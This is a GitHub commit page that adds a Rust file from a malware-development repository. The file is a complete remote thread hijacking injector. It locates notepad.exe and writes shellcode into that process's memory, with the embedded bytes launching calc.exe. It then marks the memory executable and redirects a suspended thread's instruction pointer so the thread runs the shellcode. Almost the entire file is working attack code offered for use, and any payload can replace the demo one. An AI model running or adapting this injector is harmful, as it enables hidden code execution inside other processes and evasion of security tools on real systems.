Skip to content

Commit b70446e

Browse files
committed
Remote Thread Hijacking
1 parent 6474a24 commit b70446e

File tree

1 file changed

+250
-0
lines changed

1 file changed

+250
-0
lines changed

Threads/remote_thread_execution.rs

Lines changed: 250 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,250 @@
1+
2+
/*
3+
Remote Thread Hijacking
4+
For More Codes: https://github.com/Whitecat18/Rust-for-Malware-Development.git
5+
@5mukx
6+
7+
*/
8+
9+
use std::{ffi::CString, mem, ptr::null_mut};
10+
11+
use winapi::{ctypes::c_void, um::{
12+
errhandlingapi::GetLastError,
13+
handleapi::CloseHandle,
14+
memoryapi::{VirtualAllocEx, VirtualProtectEx, WriteProcessMemory},
15+
processthreadsapi::{GetThreadContext, OpenProcess, OpenThread, ResumeThread, SetThreadContext, SuspendThread},
16+
synchapi::WaitForSingleObject,
17+
tlhelp32::{CreateToolhelp32Snapshot, Process32First, Process32Next, Thread32First, Thread32Next, PROCESSENTRY32, TH32CS_SNAPPROCESS, TH32CS_SNAPTHREAD, THREADENTRY32},
18+
winnt::{CONTEXT, MEM_COMMIT, MEM_RESERVE, PAGE_EXECUTE_READWRITE, PAGE_READWRITE, PROCESS_ALL_ACCESS, THREAD_ALL_ACCESS}
19+
}};
20+
21+
macro_rules! okey {
22+
($msg:expr, $($arg:expr), *) => {
23+
println!("\\_____[+] {}", format!($msg , $($arg), *));
24+
}
25+
}
26+
27+
macro_rules! error {
28+
($msg:expr, $($arg:expr), *) => {
29+
println!("\\_____[-] {}",format!($msg, $($arg), *));
30+
}
31+
}
32+
33+
#[repr(align(16))]
34+
struct AlignedContext {
35+
ctx: CONTEXT,
36+
}
37+
38+
fn main(){
39+
let shellcode: [u8; 276] = [
40+
0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc0, 0x00, 0x00, 0x00, 0x41, 0x51, 0x41, 0x50, 0x52,
41+
0x51, 0x56, 0x48, 0x31, 0xd2, 0x65, 0x48, 0x8b, 0x52, 0x60, 0x48, 0x8b, 0x52, 0x18, 0x48,
42+
0x8b, 0x52, 0x20, 0x48, 0x8b, 0x72, 0x50, 0x48, 0x0f, 0xb7, 0x4a, 0x4a, 0x4d, 0x31, 0xc9,
43+
0x48, 0x31, 0xc0, 0xac, 0x3c, 0x61, 0x7c, 0x02, 0x2c, 0x20, 0x41, 0xc1, 0xc9, 0x0d, 0x41,
44+
0x01, 0xc1, 0xe2, 0xed, 0x52, 0x41, 0x51, 0x48, 0x8b, 0x52, 0x20, 0x8b, 0x42, 0x3c, 0x48,
45+
0x01, 0xd0, 0x8b, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48, 0x85, 0xc0, 0x74, 0x67, 0x48, 0x01,
46+
0xd0, 0x50, 0x8b, 0x48, 0x18, 0x44, 0x8b, 0x40, 0x20, 0x49, 0x01, 0xd0, 0xe3, 0x56, 0x48,
47+
0xff, 0xc9, 0x41, 0x8b, 0x34, 0x88, 0x48, 0x01, 0xd6, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0,
48+
0xac, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0x38, 0xe0, 0x75, 0xf1, 0x4c, 0x03, 0x4c,
49+
0x24, 0x08, 0x45, 0x39, 0xd1, 0x75, 0xd8, 0x58, 0x44, 0x8b, 0x40, 0x24, 0x49, 0x01, 0xd0,
50+
0x66, 0x41, 0x8b, 0x0c, 0x48, 0x44, 0x8b, 0x40, 0x1c, 0x49, 0x01, 0xd0, 0x41, 0x8b, 0x04,
51+
0x88, 0x48, 0x01, 0xd0, 0x41, 0x58, 0x41, 0x58, 0x5e, 0x59, 0x5a, 0x41, 0x58, 0x41, 0x59,
52+
0x41, 0x5a, 0x48, 0x83, 0xec, 0x20, 0x41, 0x52, 0xff, 0xe0, 0x58, 0x41, 0x59, 0x5a, 0x48,
53+
0x8b, 0x12, 0xe9, 0x57, 0xff, 0xff, 0xff, 0x5d, 0x48, 0xba, 0x01, 0x00, 0x00, 0x00, 0x00,
54+
0x00, 0x00, 0x00, 0x48, 0x8d, 0x8d, 0x01, 0x01, 0x00, 0x00, 0x41, 0xba, 0x31, 0x8b, 0x6f,
55+
0x87, 0xff, 0xd5, 0xbb, 0xf0, 0xb5, 0xa2, 0x56, 0x41, 0xba, 0xa6, 0x95, 0xbd, 0x9d, 0xff,
56+
0xd5, 0x48, 0x83, 0xc4, 0x28, 0x3c, 0x06, 0x7c, 0x0a, 0x80, 0xfb, 0xe0, 0x75, 0x05, 0xbb,
57+
0x47, 0x13, 0x72, 0x6f, 0x6a, 0x00, 0x59, 0x41, 0x89, 0xda, 0xff, 0xd5, 0x63, 0x61, 0x6c,
58+
0x63, 0x2e, 0x65, 0x78, 0x65, 0x00,
59+
];
60+
61+
// Search for Process Handle
62+
let process_name = "notepad.exe";
63+
let pid = get_pid(process_name);
64+
okey!("Found PID : {}",pid);
65+
66+
67+
unsafe{
68+
69+
let hprocess = OpenProcess(
70+
PROCESS_ALL_ACCESS,
71+
0,
72+
pid,
73+
);
74+
75+
if hprocess.is_null(){
76+
error!("Error while Opening Process {}",GetLastError());
77+
return;
78+
}
79+
80+
let hthread = find_thread(pid);
81+
82+
if hthread.is_null(){
83+
error!("Failed to Allocate Thread: {}",GetLastError());
84+
return;
85+
}
86+
87+
okey!("Thread ID: {:?}", hthread);
88+
89+
let address = VirtualAllocEx(
90+
hprocess,
91+
null_mut(),
92+
shellcode.len(),
93+
MEM_COMMIT | MEM_RESERVE,
94+
PAGE_READWRITE,
95+
);
96+
97+
if address.is_null(){
98+
error!("VirtualAllocEx Failed: {}",GetLastError());
99+
return;
100+
}
101+
102+
let mut return_len = 0;
103+
104+
let write_mem = WriteProcessMemory(
105+
hprocess,
106+
address,
107+
shellcode.as_ptr() as _,
108+
shellcode.len(),
109+
&mut return_len,
110+
);
111+
112+
113+
if write_mem == 0{
114+
error!("WriteProcessMemory Failed {}", GetLastError());
115+
}
116+
117+
let mut oldprotect:u32 = 0;
118+
119+
let virtual_prot = VirtualProtectEx(
120+
hprocess,
121+
address,
122+
shellcode.len(),
123+
PAGE_EXECUTE_READWRITE,
124+
&mut oldprotect
125+
);
126+
127+
if virtual_prot == 0{
128+
error!("VirtualProtect Error: {}", GetLastError());
129+
return;
130+
}
131+
132+
let mut ctx_thread: CONTEXT = std::mem::zeroed();
133+
ctx_thread.ContextFlags = 0 as u32;
134+
135+
let mut ctx_thread = AlignedContext{
136+
ctx: CONTEXT{
137+
ContextFlags: 0 as u32,
138+
..std::mem::zeroed()
139+
}
140+
};
141+
142+
SuspendThread(hthread);
143+
144+
let get_thread = GetThreadContext(hthread, &mut ctx_thread.ctx);
145+
146+
if get_thread == 0{
147+
error!("GetThreadContext Failed: {}", GetLastError());
148+
return;
149+
}
150+
151+
ctx_thread.ctx.Rip = address as u64;
152+
153+
let set_thread = SetThreadContext(hthread, &ctx_thread.ctx);
154+
155+
if set_thread == 0{
156+
error!("SetThreadContext Failed: {}",GetLastError());
157+
return;
158+
}
159+
160+
okey!("Thread Executed ..{}",'!');
161+
162+
ResumeThread(hthread);
163+
164+
WaitForSingleObject(hthread, 0xFFFFFFFF);
165+
166+
}
167+
168+
169+
}
170+
171+
172+
fn get_pid(process_name: &str) -> u32{
173+
unsafe{
174+
let mut pe: PROCESSENTRY32 = std::mem::zeroed();
175+
pe.dwSize = mem::size_of::<PROCESSENTRY32>() as u32;
176+
177+
let snap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
178+
if snap.is_null(){
179+
error!("Error while snapshoting processes : Error : {}",GetLastError());
180+
std::process::exit(0);
181+
}
182+
183+
let mut pid = 0;
184+
185+
let mut result = Process32First(snap, &mut pe) != 0;
186+
187+
while result{
188+
189+
let exe_file = CString::from_vec_unchecked(pe.szExeFile
190+
.iter()
191+
.map(|&file| file as u8)
192+
.take_while(|&c| c!=0)
193+
.collect::<Vec<u8>>(),
194+
);
195+
196+
if exe_file.to_str().unwrap() == process_name {
197+
pid = pe.th32ProcessID;
198+
break;
199+
}
200+
result = Process32Next(snap, &mut pe) !=0;
201+
}
202+
203+
if pid == 0{
204+
error!("Unable to get PID for {}: {}",process_name , "PROCESS DOESNT EXISTS");
205+
std::process::exit(0);
206+
}
207+
208+
CloseHandle(snap);
209+
pid
210+
}
211+
}
212+
213+
fn find_thread(pid: u32)-> *mut c_void{
214+
unsafe{
215+
let snap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
216+
217+
if snap.is_null(){
218+
error!("Failed to Create SnapShot: {}",GetLastError());
219+
std::process::exit(0);
220+
}
221+
222+
let mut entry: THREADENTRY32 = std::mem::zeroed();
223+
entry.dwSize = std::mem::size_of::<THREADENTRY32>() as u32;
224+
if Thread32First(snap, &mut entry) !=0 {
225+
loop {
226+
if entry.th32OwnerProcessID == pid{
227+
let hthread = OpenThread(
228+
THREAD_ALL_ACCESS,
229+
0,
230+
entry.th32ThreadID);
231+
232+
if hthread.is_null(){
233+
error!("Failed to open Thread {}", GetLastError());
234+
std::process::exit(0);
235+
}
236+
return hthread;
237+
}
238+
239+
if Thread32Next(snap, &mut entry) <= 0{
240+
break;
241+
}
242+
}
243+
}else {
244+
error!("Thread not found ..{}",'!');
245+
}
246+
}
247+
null_mut()
248+
}
249+
250+

0 commit comments

Comments
 (0)